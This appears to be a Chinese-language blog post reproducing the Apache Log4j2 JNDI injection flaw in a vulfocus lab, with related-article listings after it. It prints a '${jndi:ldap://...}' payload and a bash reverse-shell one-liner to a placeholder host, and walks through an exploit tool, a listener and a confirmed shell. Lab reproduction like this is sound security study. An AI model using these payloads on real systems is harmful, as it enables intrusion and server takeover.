Apache Log4j2 远程代码执行漏洞

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。

声明


本篇文章仅用于技术研究与漏洞复现学习,切勿将文章攻击方法用于未经授权的实战测试中,造成任何后果与本文和作者无关!


一、产品简介


Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。


二、漏洞概述


由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

三、影响范围


  • Apache Log4j2 2.0-beta9 到 2.15.0


四、漏洞复现


以vulfocus靶场环境测试

打开靶场界面

image.png

Burp抓包,直接使用payload进行测试,看dnslog是否有回显 payload: ${jndi:ldap://X.X.X.X/TomcatBypass/TomcatEcho}

image.png

Dnslog平台有数据回显,既然有回显,那就直接实战反弹Shell。


接下来用到的工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(github下载)


说到反弹Shell,这里首先想到用到 bash -i >& /dev/tcp/X.X.X.X/X 0>&1,但是这里不能直接使用,需要将payoad进行base64加密,然后使用bash命令去执行

推荐一个加密网站:https://www.bugku.net/runtime-exec-payloads/

image.png

上面输入反弹bash命令,下面将显示加密后的payload。

将这段bash命令直接应用到JNDIExploit工具上,执行后的界面如下:

image.png

这里JNDI Links 是根据当前实验环境去选择执行的payload

在vps上建立一个监听

image.png

回到burp上,直接使用payload进行测试,这里要记得将payload进行URL编码,因为这里是GET请求,直接在burp里的Decoder模块中进行编码转换

image.png


将编码后的 payload 放到 repeater 中 send发送

image.png


Vps有大量回显数据,再来看监听的端口,已经成功反弹Shell

image.png

五、修复手段


更新至官方最新版本!

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
130 1
|
5月前
|
安全 Java 网络安全
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
|
5月前
|
安全 Java 网络安全
Apache Struts Showcase App 2.0.0 到 2.3.13(在 2.3.14.3 之前的 Struts 2 中使用)远程代码执行(CVE-2013-1965)
Apache Struts Showcase App 2.0.0 到 2.3.13(在 2.3.14.3 之前的 Struts 2 中使用)远程代码执行(CVE-2013-1965)
|
8月前
|
Apache
web服务器(Apache)访问日志(access_log)详细解释
web服务器(Apache)访问日志(access_log)详细解释
|
安全 druid Java
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
近期一个 Apache Log4j 远程代码执行漏洞细节被公开,攻击者利用漏洞可以远程执行代码。经过分析,该组件存在Java JNDI注入漏洞,当程序将用户输入的数据进行日志,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
390 1
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
1月前
|
存储 人工智能 大数据
The Past, Present and Future of Apache Flink
本文整理自阿里云开源大数据负责人王峰(莫问)在 Flink Forward Asia 2024 上海站主论坛开场的分享,今年正值 Flink 开源项目诞生的第 10 周年,借此时机,王峰回顾了 Flink 在过去 10 年的发展历程以及 Flink社区当前最新的技术成果,最后展望下一个十年 Flink 路向何方。
341 33
The Past, Present and Future of Apache Flink
|
3月前
|
SQL Java API
Apache Flink 2.0-preview released
Apache Flink 社区正积极筹备 Flink 2.0 的发布,这是自 Flink 1.0 发布以来的首个重大更新。Flink 2.0 将引入多项激动人心的功能和改进,包括存算分离状态管理、物化表、批作业自适应执行等,同时也包含了一些不兼容的变更。目前提供的预览版旨在让用户提前尝试新功能并收集反馈,但不建议在生产环境中使用。
937 13
Apache Flink 2.0-preview released
|
3月前
|
存储 缓存 算法
分布式锁服务深度解析:以Apache Flink的Checkpointing机制为例
【10月更文挑战第7天】在分布式系统中,多个进程或节点可能需要同时访问和操作共享资源。为了确保数据的一致性和系统的稳定性,我们需要一种机制来协调这些进程或节点的访问,避免并发冲突和竞态条件。分布式锁服务正是为此而生的一种解决方案。它通过在网络环境中实现锁机制,确保同一时间只有一个进程或节点能够访问和操作共享资源。
137 3
|
4月前
|
SQL 消息中间件 关系型数据库
Apache Doris Flink Connector 24.0.0 版本正式发布
该版本新增了对 Flink 1.20 的支持,并支持通过 Arrow Flight SQL 高速读取 Doris 中数据。

热门文章

最新文章

推荐镜像

更多